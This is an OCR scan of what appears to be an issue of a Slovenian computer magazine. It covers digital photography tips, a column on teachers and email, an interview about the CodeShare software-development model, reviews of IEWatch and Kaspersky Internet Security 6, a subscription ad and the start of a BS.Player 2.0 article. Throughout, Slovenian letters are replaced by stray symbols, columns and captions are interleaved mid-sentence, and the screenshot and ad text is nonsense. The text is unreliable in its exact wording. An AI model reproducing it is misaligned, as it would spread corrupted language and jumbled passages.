kar vemo, da je belo oziroma sivo, usmerimo
fotoaparat na to in ro¢no izravnamo belino.
Podobno imajo tudi videokamere, pravzaprav
to izhaja od tam.

Mnogi digitalni fotoaparati imajo kar ne-
kaj nastavitev za velikost in nadin stiskanja
posnetkov. Glede velikosti je naSe priporo&i-

} - /9 =

gola kakovostne izpise velikosti 15 x 10 cm.
Najvec lahko prihranite pri stopnji stiskanja,
saj velika ve¢ina omogoca najboljse (fine ali
superfine), srednje (normal ali fine) in najniz-
jo (normal). Razlika med prvima dvema tako
reko€ ni vidna, v velikosti datoteke pa je dva-
kratna. Predvsem zrcalnorefleksni modeli in
boljsi kompaktni omogocajo Se shranjevanje
v nadinu RAW, kjer se shrani posnetek brez
obdelave v fotoaparatu. Datoteka je v tem pri-
meru najvedja, kako velika je, pa je odvisno od
samega fotoaparata. RAW je namenjen pred-
vsem zahtevnej$im uporabnikom, ki bi radi iz
svojih posnetkov iztisnili najvec, a cena za to
je vec¢ja poraba prostora na pomnilniskih me-

dijih.

Izogibajte se fotografiranju

sredi dneva, saj so takrat sence
najmocnejse, kontrasti med svetlimi in
temnimi deli pa zelo veliki.

V NAPAD!

S tehniko smo zdaj dobro seznanjeni, zato
nam preostane le $e nekaj nasvetov, kako
digitalni fotoaparat &¢im bolje izkoristiti. Po-
svetimo se tisti najpomembne;jsi razliki v pri-
merjavi s klasiko — mo¥nosti pregleda slike
na LCD-zaslonu in brisanju neuspelih po-
snetkov. Z digitalnim fotoaparatom vsak lah-
ko fotografira tako kot profesionalci. Drugace
povedano, naj vam ne bo %al narediti ve& po-
snetkov istega motiva, po mo¥nosti z razli¢nih
kotov. To »razvajanje« je &isto nekaj drugega,
kot ¢e bi fotografirali na film, kjer smo vsak
posnetek dobro premislili, preden smo pri-
tisnili na spro¥ilec. Kljub temu to ne pomeni
divjega fotografiranja, ampak le monost, da
na koncu res izberemo najboljsega. Pregled
Yive slike na LCD-zaslonu je dodatna pred-

Vrtljiv LCD-zaslon nam pomaga pri
fotografiranju iz razli¢nih kotov, predvsem je
uporaben za pticjo ali zabjo perspektivo.

moznost Zivega pregleda, drugi le na posnetkih.
Ta nam v obliki grafa pokaZe, kako je osvet-
ljen dolo¢en motiv. Ce je graf bolj poln na levi

strani, je ve¢ informacije v temnih delih, &e pa
na desni, pa v svetlih. Na primer, bela stena
bo zapolnila le desni del grafa, ¢rna le levega.
Pri vecini posnetkov ima histogram zastopane
vse vrednosti, od temne do svetle. V pomo&
nam je za ocenjevanje svetlobe, in Ce se nanj
navadimo, bomo le stezka naredili posnetek, ki
ne bi bil pravilno osvetljen.
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lo zajem v najvisji lo¢ljivosti, ki jo omogota
tipalo. Nikoli ne veste, ali bi ta posnetek kdaj
radi videli na steni v velikosti 1,5 x 1 m, ozi-
roma Ce ste zajeli kaj preveg, lahko brez te¥av
naredite izrez. Ce ste %e prisiljeni v zmanjeva-
nje lo¢ljivosti, naj vam bo spodnja meja lo¢lji-
vost 1600 x 1200 pik; ta vam namre¢ omo-

nost, saj so opti¢na iskala praviloma majhna
in predvsem pri kompaktnih fotoaparatih
prikaZejo le dobrih 80 do 90 % slike. To po-
meni, da bomo v naginu fotografiranja skozi
opti¢no iskalo zajeli e kaj, Cesar si ne Zeli-
mo. LCD-zasloni so praviloma %e tako veliki,
da zados€ajo za dober pregled in omogocajo
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fotografiranje v praksi

Razlika med navadno sliko in sliko z uporabo kroznega polarizacijskega filtra je velika — na desni je uporabljen filter.

enostavnejie kadriranje. Ce imate fotoaparat
z vrtljivim zaslonom, lahko to $e dodatno iz-
koristite, predvsem pri fotografiranju iz Zabje
ali pti¢je perspektive.

Omogo&ajo tudi la%je fotografiranje otrok,
saj so posnetki, narejeni z njihove viine, za-
nimivejsi kot od zgoraj navzdol. Tudi portre-
ti stojecih ljudi, narejeni z visine trebuha, so
praviloma zanimive;jsi, saj marsikdo sploh ne
bo opazil, da ga fotografirajo in bo s tem na
posnetku veliko bolj spros¢en. Zaslon ima $e
eno prednost pred opti¢nim iskalom, v veliki
vetini fotoaparatov lahko vklopimo mreZo, ki
nam sliko razdeli na tretjine. S tem lahko pre-
prosto uporabimo pravilo tretjin, ki je eno od
osnovnih v fotografiji. Na primer, ¢e slikate po-
krajino, prepustite dve tretjini zanimivej$emu
delu in preostalo nebu. To pravilo je uporabno
tudi pri fotografiranju portretov, veliko lepse
je, e je oseba premaknjena iz sredis¢a posnet-
ka kot v njem. Nekateri fotoaparati imajo celo
to mo¥nost, da postavijo obrise, kako naj bi bili
portetiranci postavljeni. Cetudi se slii neum-
no, je vredno preizkusiti.
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Mreza na zaslonu nam omogoca lazje
kadriranje po pravilu tretjin.

Ceprav lahko ve&ino filtrov nadomestimo
v programih za obdelavo slik, jih je nekaj Se
vedno nenadomestljivih. V prvi vrsti so to za-
§¢itni filtri, ki vam $¢itijo prvo le¢o objektiva.
So namre& veliko cenejsi, kot je zamenjava te
le€e, in ¢e vam fotoaparat to dopusta, si ga le
omislite. KroZno polarizacijski filter je tako
rekod nuja, Ce %elite dobiti kontrastne barve in

: INekajminutna projekcija, podlogena s glasbo, brez teZav
pricara nase pocitnice in je dobra popestritev obiska.
Najtegje je narediti prvih 6 milijonov fotografij!

bolj zatemnjeno nebo. Zanimivi so Se prehod-
ni sivinski filtri, z njihovo pomo¢jo zatemnimo
presvetle dele slike, predvsem nebo in s tem
zmanj$amo kontraste.

Za konec $e eno niti ne tako nepomembno
vprasanje: Kdaj fotografirati? [zogibajte se sre-
dini dneva, saj so takrat sence najmo¢nejse in
kontrasti med svetlimi in temnimi deli zelo
veliki. V jutranji svetlobi bodo posnetki bolj
modri, v velerni rumeni.

OBDELAVA

Ko bodo potitniski
dnevi za vami, bo po-
leg lepih spominov
ostalo $e malo morje el
fotografij. Seveda si
jih vsi %elimo pokaza-
ti, a pri tem je dobro,
da smo vsaj malen-
kost  samokriti¢ni.
Redkokateri znanec
si zeli pogledati vse,
kar smo posneli, zato
je ved kot priporo¢-
ljivo narediti izbor.
Pri tem velja pre-
prosto pravilo: bolj
smo kriti¢ni, bolj
bodo gledalci zado-
voljni. Eden najzani-
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DVD-predvajalniki ali LCD-projektorji.
Nekajminutna projekcija, podlofena s
glasbo, brez te¥av pri¢ara naSe po&itnice in je
dobra popestritev obiska. Vsekakor naredite
varnostno kopijo posnetkov, saj trdi disk ni
najboljsa resitev. Glede na ceno izdelanih fo-
tografij, ki se trenutno giblje okoli 25 tolarjev
(oziroma 10 centov) za kos, je to tudi dober
na¢in hranjenja posnetkov. Ce imate dovolj
veselja, izkoristite brizgalnik in katerega od
programov za tiskanje (na primer ACD Pho-
toSlate, ki je prilofen programu ACDSee). S

mivejiih programov
za obdelavo in prikaz
(slideshow) je v nasi
reviji e opisani Google Picassa, saj zna tako
reko€ vse, kar amaterski fotograf potrebuje —
od obdelave fotografij do prikaza ter izdelave
varnostnih kopij. Najbolj posre¢ena v temu
programu je ravno pot dela, saj omogo¢a hitro
in enostavno obdelavo. Z malce vaje se boste
v dobri uri prebili preko 500 posnetkov, jih
medtem obdelali in $e uredili. Ceprav foto-
albumi $e niso iz mode, so novi nadini prika-
zovanja fotografij zelo zanimivi, predvsem z

Google Picassa, eden najpreprostejsih, a kljub temu zelo dobrih
programov za obdelavo slik.

takimi programi si hitro in enostavno naredite
$ablone in vanje le postavljate slike ter tako
v nekaj korakih sestavite album. Za konec pa
le ena stara misel: NajteZje je narediti prvih 6
milijonov fotografij. V analognih &asih bi nam
zmanjkalo &asa, v digitalni dobi pa imamo ne-
kaj moZnosti za uspeh. Le veselo na delo!

n



Ureja: MILAN SIMCIC | milan.simcic@mojmikro.si
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Je e-posta
M v Solah tabu?

Pred kratkim sem sedel v pisani druscini, v
kateri so bili tudi nekateri ucitelji in uciteljice

v osnovni $oli. Ker je prakticno konec Solskega
leta, je beseda tekla o dolZini dopusta, ki

ga imajo Solniki, pogovarjali pa smo se tudi

o0 njihovem delu. SproZil sem pogovor o
komuniciranju s starsi. Vsi bi si zeleli ¢im

vec informacij, ne bi pa hodili na roditeljske
sestanke in govorilne ure. Vsi so mi zatrdili,

da so ucitelji vedno dostopni za pogovor in
izmenjavo mnenj. Ce ne gre osebno, pa po
telefonu. Seveda, ampak poglejmo zadevo Se

Z zornega kota starsev, ki smo v sluzbah do
poznih popoldanskih ur, in nekaterim, ki imajo
mlajse otroke, Se komaj uspe otroka pravocasno
»dvigniti« v Soli ali vrtcu. Seveda je vsakomur
Jasno, da starsi ne moremo uciteljev klicati

po telefonu kar med Solskimi urami. Za to so
odmori, ki pa niso namenjeni govorilnim uram.
Torej, vprasajmo se, kdaj starsi lahko poklicemo
ucitelja v Solo. Seveda moramo imeti tudi sreco,
da telefon ne bo zaseden. In glej ga, zlomka,
predlagal sem nekaj najhujSega, kar sem lahko
— komunikacijo prek elektronske poste. Skoraj
vsi prisotni ucitelji so me napadli, da to pa Ze
ne gre. Odgovarjanje na elektronsko posto pa Ze
ni v opisu del in tega Ze ne bodo poceli v svojem
prostem casu. Kar na enkrat se je izgubila skrb
za otroka, za njihove teZave. Ne pomaga nobeno
prigovarjanje, da na elektronsko posto pac
odgovoris takrat, ko imas ¢as. Lahko razmislis,
se posvetujes in nato napises odgovor. Vse

bolj se mi je dozdevalo, da je komunikacija le
izgovor in da uciteljem Se najbolj ustreza stanje,
kakrsno je. V tistih odmorih njihov telefon
najveckrat zvoni v prazno, ker so na WC-ju, med
poukom imajo tako ali tako mir, po pouku pa
gredo domov. Na komunikacijo se pozvizgajo. Ko
Jim je zmanjkalo argumentov, je bil eden izmed
zadnjih poizkusov ta, da nimajo sluzbenega
elektronskega naslova, svojega domacega pa

ne sporocajo, ker potem jim ucenci posiljajo
razlicna sporocila, ki imajo v prilogi viruse.

Ja, bravo, in taki ucitelji ucijo nase otroke!

Tudi ¢e nekdo ne Zeli na glas povedati svojega
naslova, si lahko v danasnjem casu priskrbi

n brezplacnih elektronskih naslovov. Mislim,

da bi res Ze bil ¢as, da zacnemo gledati na
elektronski naslov tako kot gledamo na klasi¢ni
postni naslov, ki je javen in zapisan v imeniku.
Za odkrivanje in preprecevanje virusov in druge
nezelene poste pa so Ze pred casom odkrili
protivirusne programe. Na koncu pa sem slisal
Se argument, da elektronske poSte ne bodo
uporabljali, ker to ni v opisu del oziroma v
pogodbi o delu. Krasno. Zanima me, kdo je
danes v poloZaju, da lahko v sluzbi rece, da ne
bo uporabljal elektronske poste!

No, k sreci je v druzbi sedelo tudi nekaj
uciteljev, ki podpirajo »nove« nacine
komuniciranja in se jim zdi zelo »fencys,

ce uporabljajo elektronsko posto. Vsa
korespondenca je dokumentirana in zbrana na
enem mestu.

Samo zamislimo si, da otrok zboli in je treba

v Solo sporociti, da ga ne bo in morebjti
odpovedati tudi malico in/ali kosilo. Ce je otrok
bolan, imamo Ze tako veliko dela z njim in
nimamo casa telefonirati in cakati ob zasedeni
liniji. Enostavneje je, da napiSemo elektronsko
sporocilo in ga morebiti posljemo Ze zvecer.
Upajmo, da se bodo stvari spremenile na bolje
Z novim Solskim letom. Pa vesele pocitnice vam
zelim ...

CodeShare

Iskanje svetega grala
programiranja?

Pogovarjali smo se z direktorjem razvoja podjetja Datalab, d.o.0., Andrejem
Mertljem, ki je predstavil nov vidik nacina razvoja programske opreme. V Datalabu
iSCejo nacin, ki bi zdruzil prednosti tradicionalnega lastniskega in odprtokodnega
razvoja programske opreme, hkrati pa odpravil nekatere najoCitnejse

pomanjkljivosti obeh modelov.

PiSe: Milan Sim¢i¢
milan.simcic@mojmikrosi

tem Zelijo zdruZiti razprSeno znanje,

povetati zanesljivost in verodostojnost

reditev, uporabnike osvoboditi vezano-

sti na ponudnika, poenostaviti delo raz-
vijalcem ter racionalizirati razvojne proratune
podjetij, ki sodelujejo v njem. V ta namen so
razvili CodeShare — »zadru?no« na&elo razvo-
ja programske opreme, v katerem sodelujejo
razli¢na partnerska podjetja in pomeni kombi-
nacijo lastniskega in odprtokodnega razvoja.
Nosilno podjetje opravlja tiste funkcije, kjer je
opazna prednost lastniskega razvoja ter hkrati
skrbi za delovanje ekosistema, podobnega od-
prtokodnemu razvoju.

Uporabniki pridobijo najboljse iz obeh sve-
tov: varnost, ki jo zagotavlja pravna oseba, ter
odprtost znanja, idej in virov ob hitrem razvoju
in prilagodljivosti, kar je znacilno za skupnosti.
Menijo, da bodo podjetja, ki bodo prva prila-
godila poslovne procese spremenjenim trznim
razmeram, igrala vodilno vlogo v prihodnosti
in %ela premijo dobickov.

POZNANI NACINI RAZVOJA
PROGRAMSKE OPREME

Danes je za trg prevladujo€ tip razvoja pro-
gramske opreme lastnigki razvoj. Podjetje kot
avtor razvija programsko opremo znotraj pod-
jetja z lastnimi ali podizvajalskimi viri in si
lasti avtorske pravice in pravico razpolaganja
z gotovim izdelkom. Tako razvita programska
oprema se vecinoma licencira z nakupom li-
cenc (in kasneje nadgraden;j) ali s placilom
najemnine za licence.

Razvoj je strogo hierarhicen, kar obic¢ajno
zagotavlja spodtovanje rokov (npr. za nove raz-
licice ali dopolnitve) in kakovostnih minimu-
mov. Jasno so razvite strukture za testiranje in
dokumentiranje kode. Razvoj (obi¢ajno) sledi
pravilom za zagotavljanje enovitosti podobe
(look & feel). Zahteve so definirane vnapre;j,
prav tako nadrt nadaljnjega razvoja.

Izvorna koda programske opreme je va-
rovana kot poslovna skrivnost, za katero je
tetko pridobiti pravico vpogleda (obi¢ajno je
prepovedan tudi obratni in¥eniring) Se te¥je
pa pravico do njenega spreminjanja. Omem-
be vreden je problem navezave na ponudnika
(vendor lock-in), saj je uporaba dopolnilne

programske opreme tretjih ote¥ena, prehod na
alternative pa skoraj nemogot¢ (obi¢ajno je za-
$¢itena struktura podatkov, ki jih programska
oprema uporablja).

ODPRTA KODA
— OPEN SOURCE

Od leta 1990 se mo&no povetuje dele? pro-
ste in odprtokodne programske opreme. Tako
programsko opremo ve¢inoma razvija formalna
ali neformalna skupina avtorjev. Prav svoboda
razvijanja pa pomeni bistveno oviro pri tr¥e-
nju take programske opreme, saj njeni uporab-
niki prepogosto ne vedo, kdo je pravi lastnik
(amorfna, obi¢ajno ne-pravna entiteta) in
kako ta jam&i za uporabnost programske kode.
Licen¢ni modeli zavzemajo celoten spekter, od
popolnoma brezplaénega do nakupnega oz.
najemnega licenciranja. Pogoste so navezave
pravice do uporabe programske opreme na vr-
sto storitvene pogodbe.

Razvoj poteka v razli¢no velikih skupinah,
ki so obi¢ajno mehko koordinirane. Opazen je
minimalni skupni interes kot zdruZevalni fak-
tor. Skupine so obi¢ajno odprte, tako da va-
njo vstopajo in iz nje izstopajo avtorji prosto
— glede na interes, ki ga imajo. Omogocen je
vpogled v izvorno kodo in njeno spreminja-
nje. Licence so razli¢nih tipov — od takih, ki
dolotajo, da so avtorji vse dol#ni posredovati
naprej brez omejitev, do manj restriktivnih, ki
prepusajo avtorjem odlocitev o nacinu licen-
ciranja. Obratni inZeniring je nepotreben. Sir-
jenje znanja in najboljsih resitev (best practi-
ces) je precejsnje tako v skupini kot zunaj nje.
Navezava na ponudnika je $ibka, podatkovne
strukture so obi¢ajno v javni rabi.

Oba sistema imata zaradi svoje zasnove pred-
nosti in slabosti, a bosta zagotovo prefivela.

KAJ JE CODESHARE

CodeShare je kombinacija lastniskega in
odprtokodnega razvoja, ki povzema dobre
strani obeh konkuren¢nih sistemov razvoja
ter poskuSa odpraviti njune slabosti. Navzven
(do uporabnikov programske opreme) deluje
CodeShare kot lastniska programska oprema,
navznoter (do sodelujocih podjetij) pa kot od-
prtokodno razvojno okolje. Oba vidika pove-
zuje nosilno podjetje.

CodeShare iz lastniskega sveta prevzema:

e pravno varnost z jasno izrazenim nosilcem
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avtorskih pravic, licenciranje ter dolo¢ene
pravice in obveznosti avtorja in uporabnika;
e nadrtovan razvoj z vodenjem, spremljanjem
in nagrajevanjem sodelujocih;
o skrb za ergonomijo in uporabnost
programske opreme;
enovita podoba programske opreme (look
& feel) in izvorne kode;
zagotavljanje kakovosti programske opreme;
enovito in kakovostno dokumentacijo;
e jasno dolo¢ena pravila sodelovanja med
sodelujoimi.

[z odprtokodnega sveta pa:

¢ sodelovanje razli¢nih pravnih in fizi¢nih
oseb pri razvoju programske opreme (core
development);

e vpogled in ponovno uporabo izvorne kode
med sodelujotimi podjetji;

e zdruZevanje skupin in njihovega
specialisti¢nega znanja;

o geografsko razpren razvoj, temeljed na
internetu.

Poglejmo hitri pregled glavnih zna&ilnosti
vseh treh modelov razvoja:

AV

Lastniski razvoj Odprtokodni razvoj CodeShare
Izvorna koda Laprta Odprta Odprta sodelujocim
Sodelovanje pri razvoju Ni sodelovanja Kdorkoli lahko sodeluje Na podlagi avtorizacije
0dgovorno podietje Da Ne Da
Poslovna zanesljivost Visoka Nizka Visoka
Vzdrznost razvoja Visoka Odvisna od razvojnikov Visoka
Delez za sodelujoce Ne Ne Da
Vracilo stroskov in delez letnega dobicka
Cena Licen¢nina in nadgradnje razliéno Mesetna uporabnina
Varnost za uporabnike Nizka Visoka Visoka
Moznost sodelovanja Samo prilagoditve Razvoj, prilagoditve Razvoj, prilagoditve
in svetovanja in svetovanja in svetovanja

Porazdelitev vlog

V nadinu razvoja CodeShare imamo tri

tipi¢ne vloge:

e uporabnike programske opreme;

e partnerje razvijalce izdelka, svetovalce
in druga sodelujo¢a podjetja, ki delujejo v
povezavi s programsko opremo;

¢ nosilno podjetje, ki skrbi za zunanje
aktivnosti in notranjo koordinacijo.

Uporabnik od nosilnega podjetja pridobi
licence za uporabo programske opreme — izde-
lek. Ta je enakovreden lastniskim izdelkom,
saj vsebuje dokumentacijo, jasno dologeno
podporo ter uzance (pravice in obveznosti
uporabnika in avtorja). Uporabnik za uporabo
placuje nosilnem podjetju licen¢nino (obicaj-
no mese¢no uporabnino). V primeru te¥av za-
hteva pomo¢ od nosilnega podjetja. Ce pride
do pravnega spora, se ta refuje med uporabni-
kom in nosilnim podjetjem.

Partnerji prodajajo, uvajajo in podpirajo
programsko opremo ter jo razirjajo z vertikal-
nimi reSitvami. Partnerji lahko (ni pa nujno)
sodelujejo pri razvoju izdelka glede na svoje
znanje in zmo?nosti na podoben nadin, kot de-
lujejo razvojne skupnosti v odprtokodnem mo-

delu razvoja. So neodvisna podjetja s prece;js-
njo notranjo (medsebojno) konkurenco, kar
zagotavlja dolgotrajno optimalno delovanje
sistema. Ker nosilno podjetje koordinira part-
nerje (tako razvoj kot nadin izvajanja drugih
dejavnosti), je konkurenca kar najbolje regu-
lirana, zaradi &esar lahko upamo na izogibanje
nelojalnosti in drugim negativnim vidikom
notranje konkuren&nosti.

Nosilno podjetje je skrbnik izdelka. Od-
govorno je za njegovo konkuren¢nost in do-
stopnost. Opravlja vrhnji marketing ter ko-
ordinira prodajne akcije partnerjev. Skrbi za
razvoj blagovne znamke. V pristojnosti no-
silnega podjetja je organizacija prodajnega in
podpornega kanala. Skrbi za pravno podrocje
sistema in legitimnost delovanja vseh sodelu-
jo&ih. V domeni nosilnega podjetja so finance
— izstavljanje ratunov uporabnikom in distri-
bucija sredstev po sistemu. Nosilno podjetje
mora zagotavljati delovanje razvojne uprave
(CodeBoard). Zagotavljati mora tudi testira-
nje, dokumentiranje in kompilacijo izdelka
ter njegovo lokalizacijo za vsak trg, na katerem
se prodaja. Nosilno podjetje zagotavlja vrhnji
nivo podpore partnerjem. Nosilno podjetje je
dol#no zagotavljati infrastrukturo za delovanje

CodeShare

CodeShare je

kombinacija
lastniskega in
odprtokodnega razvoja, ki
povzema dobre strani obeh
konkurencnih sistemov
razvoja ter poskusa
odpraviti njune slabosti.

tega ekosistema, kot npr. spletne streinike,
centraliziran sistem pomoci, vso infrastrukturo
za delovanje razvojne uprave in razvojnih sku-
pin (request tracker, version control system in
code repository) Prav tako je nosilno podjetje
zadolZeno za ustvarjanje, zbiranje in distribuci-
jo znanja ter najboljsih metod dela.

Avtorske pravice nad produktom ohranja
nosilno podjetje. Partnerji prosto uporabljajo
izvorno kodo izdelka v vseh svojih resitvah, ki
ne konkurirajo izdelku oziroma katerih funkcije
ne nadomes¢ajo funkcionalnosti izdelka. Raz-
vojne skupine prenesejo materialne avtorske
pravice na nosilno podjetje, moralne avtorske
pravice pa ostanejo razvojni skupini. Nosilno
podjetje mora javno objaviti ¢lane skupine kot
razvijalce izdelka. Ce nosilno podjetje preneha
obstajati oziroma razvijati in podpirati izdelek,
se celotna izvorna koda prenese v javno upo-
rabo. Partnerji lahko v tem primeru uporablja-
jo celotno izvorno kodo izdelka brez omejitev.
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|EWatch

Nadzor spletnega
prometa

Marsikdo sploh ne ve, kaj se dogaja v ozadju, ko »prideska«
na kaksno spletno stran. Na sre¢o imamo tudi orodja, S
katerimi se da to preveriti. Za kar vam ni treba biti razbijalec
kode in poznavalec transportnih poti.

Pise: Ales Farkas

ales.farkas@mojmikrosi
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meti je treba le program, ki to postori namesto vas. [Ewatch vam po-

ka¥e vse podrobnosti (tako zahteve kot odgovore), ko spletni brskal-

nik dose?e spletno stran. S tem programom se bo marsikdo naudil,

kaj se pri tem dogaja v ozadju, prav tako se da ugotoviti in odkriti
marsikatero tefavo.

[EWatch je vti¢nik za Microsoft Internet Explorer. Osnovni zaslon br-
skalnika razdeli na dva dela. V zgornjem boste preprosto pregledovali to,
kar se bo izrisovalo in izpisovalo na spletni strani. Spodnji del pa prikazuje
zahtevane klice in odgovore. Prav zanimivo je veasih gledati pingpong med
strefnikom in odjemalcem. IzpiSe se vse, od zacetnega zahtevka GET do
kon¢nega ukaza POST. Na izpisu tako med drugim vidite velikost odgovo-
ra, vinjeno kodo, vsebino in naslov spletne strani, s katere kaj pride. Prav
tako se vidi, kaj spletni brskalnik prejme iz odlagalis¢a spletne vsebine (na
disku), kakor tudi tisto, kar pride od streznikov. Prijazno in preprosto lahko
ugotovite, zakaj se dolo¢ena spletne stran, recimo, ne osvezuje.

S klikom na posamezno zahtevo dobite $e podrobnejsi oris tega, kar se
skriva zadaj. Z dvakratnim klikom dobite izpisano celotno kodo spletne
strani ali recimo sliko, izrisano v celotni veli¢ini. Zanimivo je, da zna pro-
gram prebrati in prikazati tudi varovano povezavo HTTPS. Prikaze tudi
para kljucev, ki jo varujeta.

IEWatch je uporaben pri iskanju in odpravljanju napak na spletnih stra-
neh, stre?nikih in iskanju anomalij v obrazcih in prenosu podatkov med
njimi. Prav tako z njim hitro ugotovite, ali ste »pristali« na strani, ki ste jo
res Zeleli obiskati, ali pa so vas zlobneZ?i preusmerili v svoj in po mo¥nosti

Kaspersky Internet Security 6

Celovita zascita
Vv internetu

Po ne tako uspesni razlicici 5 se bo Kaspersky s $estico znova
zavihtel v vrh. Kot smo pri tovrstnih programih vajeni, so tudi
v Kaspersky Internet Security zdruzeni trije sklopi: protivirusni
program, za¢ito proti spamu in pozarni zid.

Milan Sim¢ic

milan.simcic@mojmikrosi et Security W e P e
gﬁu-ﬂm Prstection : renning T ]
. e scowen
amestitev s e e
programa po- Frasces Dsforca e o okl 1.8 T, o Sk s b,
tega  gladko pd =3
L
. v e Spam &) Mo threots detected
mn breZ OdVeC’ “'6 pec ) Sonstures released: 226.2006 70353
nih vprafanj. Aktiviranje | g s © Mpotetin sevices e rueing
poteka prek interneta ali | @ saml] =
kljuca, ki ga dobimo ob | wesmsmmmomen G :
L. - Brvahs borbhed: [}
nakupu. Ob namestitvi | ;s
nas program povprasa, ali

Yelimo vkljuditi pozarni zid Kaspersky ali Windows. Oba namre& ne more-
ta delovati hkrati. Po ponovnem zagonu ra¢unalnika program sam prepozna
omre¥ja, v katera je ratunalnik povezan, in nas povprasa po stopnji zasCite za
vsako posamezno.

Pregled elektronske poste poteka po ustaljenih nacelih. Pregleduje se
vsa prihajajoca posta in vsa, ki ratunalnik zapusti. Imamo mo#nost pre-
gledovati tudi samo glave sporoéil. Posta se lahko pregleduje v poljubnem
postnem odjemalcu, za programa Microsoft Outlook in Outlook Express
pa je izdelan Se poseben vmesnik, ki omogoca dodatne nastavitve.

Kaspersky Anti-Virus v realnem ¢asu pregleduje tudi celoten HTTP-
promet. Ce zazna okuZen objekt, prepreti, da bi se shranil na trdi disk.
Hkrati pa Kaspersky Internet Security nadzoruje delovanje tudi vseh
procesov in programov, ki so nalo?eni v pomnilnik osebnega ra¢unalni-
ka. Uporabnik je le obve$¢en o nevarnih, sumljivih ali skritih procesih.

Program onemogoca tudi krajo zaupnih informacij, kot so $tevilke
kreditnih kartic, informacije o ban&nih racunih, gesla, uporabnika ime-
na in podobno. S tem je onemogocen tudi njihov prenos prek spleta na
drug racunalnik. Zazna sporocila s povezavami do spletnih strani, ki se
ukvarjajo z ribarjenjem (kraja zaupnih informacij) in prepreci dostop
do teh strani. Program prepredi izvajanje, prenasanje nevarnih oziroma
gkodljivih skriptov na spletnih straneh, prepredi prikazovanje reklam-
nih in pojavnih oken. Kaspersky Internet Security 6 blokira tudi vse
nedovoljene klice prek modemske klicne povezave.

PoZarni zid nas za$¢iti pred vdori v sistem (intrusion detection sy-
stem), spremlja vse omre?ne dejavnosti z znacilnostmi napada hekerjev.
Program enostavno prepredi napad hekerjev tako, da blokira dostop na-
padal¢evega ratunalnika do omre¥ja uporabnika. Po¥arni zid nadzoruje
vse zahteve programov za dostop do spletnih strani in glede na dologena
pravila te zahteve sprejme ali zavrne. V skladu s pravili program spremlja
tudi vse prihajajoce in odhajajote programske paketke.

Program ima ve¢ razli¢nih metod zaznavanja neZelene elektronske
poste z namenom celovite zaf¢ite, vklju¢no s ¢rnimi in belimi sezna-
mi IP-naslovov, poiljateljev, sporotil, raznimi kombinacijami besednih
zvez ... Program vse-

Kaspersky Internet Security 6

ugrabljen strenik. Za
mnozi¢no uporabo je

IEWatch

morda program ne-
koliko predrag, bo pa
prav priSel marsikate-
remu preizkufevalcu
in razvijalcu.

| |
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Namenjen: Pregledovanju »pingponga« med strezni-
kom in odjemalcem

Za: Qdlicen prikaz in razlaga

Proti: Cena

Cena: 89 USD

Spletni naslov proizvajalca: www.iewatch.com/

buje tudi algoritem
uéenja, ki na podla-
gi odzivov in dejanj
uporabnika, ki upo-
rablja  protispamni
modul, sam nastavlja
pravila znotraj modu-
la. B

Namenjen: Zasciti racunalnika pred virusi, trojanci,
nezeleno posto ...

Za: Program se med delovanjem prilagaja

Proti: -

Cena: 5400 SIT

Prodaja: Stebri, d.o.o.

Spletni naslov: www.igabiba.com
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Zelite vsak mesec prejeti
svezo Stevilko Mojega mikra
s prilozenim CD-jem?
Narocite se in prejeli boste

Se prakticno darilo!

: — e e 5 DOMACA
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----- . s v SRk pasnetke
iz racunalnika
v formatu MP3.
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ovns digtan it je bilo kar precej
Stran 12 - agre tudi
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Predstaylamo
pa vam $e veliko
wsakeanjih trikov

1Z PRVE ROKE 2M32-SLL Deluxe

-62 Stran 54

LNIH FOTOAPARATOV ; : in nasvetov /ﬁl.
2 ﬁ&;&g :aﬁne uporabe kot analogni. Kako iz svojega ?tdelo z speedzo
in naredite fotografijo, ki vam jo vsi zavidajo. Stran 69 : L
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Secure USB Fi, sh dri

ve

> Transfer m’.;'s e -
fast speags " oiC ANd pictureg f

* Passworg-, ;
Secureﬁavgfgmt Your fifes wigy

DARILO =23 ™
ZA PRVIH 20 NOVIH i
NAROCNIKOV:

USB KLJUC (256 MB)

Celoletna narocnina (11 stevilk):
10.780 SIT/44,98 EUR

) ‘_:
Pokli€ite ob delavnikih od 8. do 16. ure ) "”’f\””\ /

HB/sec M BT.E ip to/
ali pustite narocilo na glasovni posti:

01/ 473 81 335,

Naroénina velja do vasega preklica. Po izteku celoletne naroénine boste prejeli
o 1 I 4 , 3 8 1 2 4 poloZnico za podalj$anje naro¢nine za naslednje leto z 20% popustom.
, Ob naroéilu bomo potrebovali vaso davéno Stevilko (za potrebe Zakona o

pOéIthe fa kS 01 / 47 3 82 53 dohodnini, ki zahteva prijavo vrednosti nagrade). Darilo vam bomo poslali po

posti po plaéilu naroénine. Stroske postnine za darilo (po veljavhem ceniku Poste

aII e-mail na narocnine@de‘o-reVije.Si Slovenije) boste poravnali ob prejemu posiljke. Revijo vam bomo prav tako priceli

posiljati po placilu naroénine. Akcija traja do razprodaje zalog.



BS.Player 2.0

Nadaljevanje
zgodbe o uspehu

Multimedijskih predvajalnikov glasbe je na trgu ogromno.
Le redki pa prodrejo in uspejo. BS.Player je Ze od samega
zacetka, leta 2000, prava uspesnica. Se toliko bolj pa smo
lahko ponosni, ker je plod slovenskega znanja ...

PiSe: Milan Sim¢ic

milan.simcic@mojmikrosi

S.Player je bil namre¢ prvi predvajalnik, ki je uporabnikom

omogodal, da so se lahko posvetili gledanju filmov, ne pa iska-

nju ustreznih nastavitev ter kodekov. Pred kratkim je bila pred-

stavljena nova razli¢ica 2.0. Pri promociji je v precej$njo po-
mo¢ tudi slovenska rock skupina Sidharta.

Oce BS.Playerja je Boris Voglar, ki je $e posebej ponosen na svoj izdelek.
Po njegovih besedah je ravno mno¥i¢nost uporabe najvedje merilo kakovosti
izdelka. BS.Player uporablja ve¢ kot 60 milijonov uporabnikov po vsem
svetu, program je preveden v 90 jezikov in opremljen s pravo zakladnico
mo¥nosti za upravljanje podnapisov, ki omogo&ajo ogled posameznih mul-
timedijskih datotek v mnogih svetovnih jezikih. BS.Player 2.0 je eno izmed
najboljgih orodij za upravljanje in predvajanje vsebin: od videa, glasbe, tv
in radijskih programov (klasi¢nih in internetnih), teleteksta do pod- in web-
castov ter live-streamingov. Namestijo si ga lahko tudi uporabniki z manj
zmogljivim procesorjem in brez te¥av uZivajo ob kakovostni sliki in zvoku.

BS.Player 2.0 ostaja enostaven za uporabo, tehnolosko dovrien, to-
kratna posebnost pa je tudi revolucionarna podoba, ki zdruzuje sodobna
nalela oblikovanja in je uporabniku prijazna. Nova razli¢ica ne rabi le
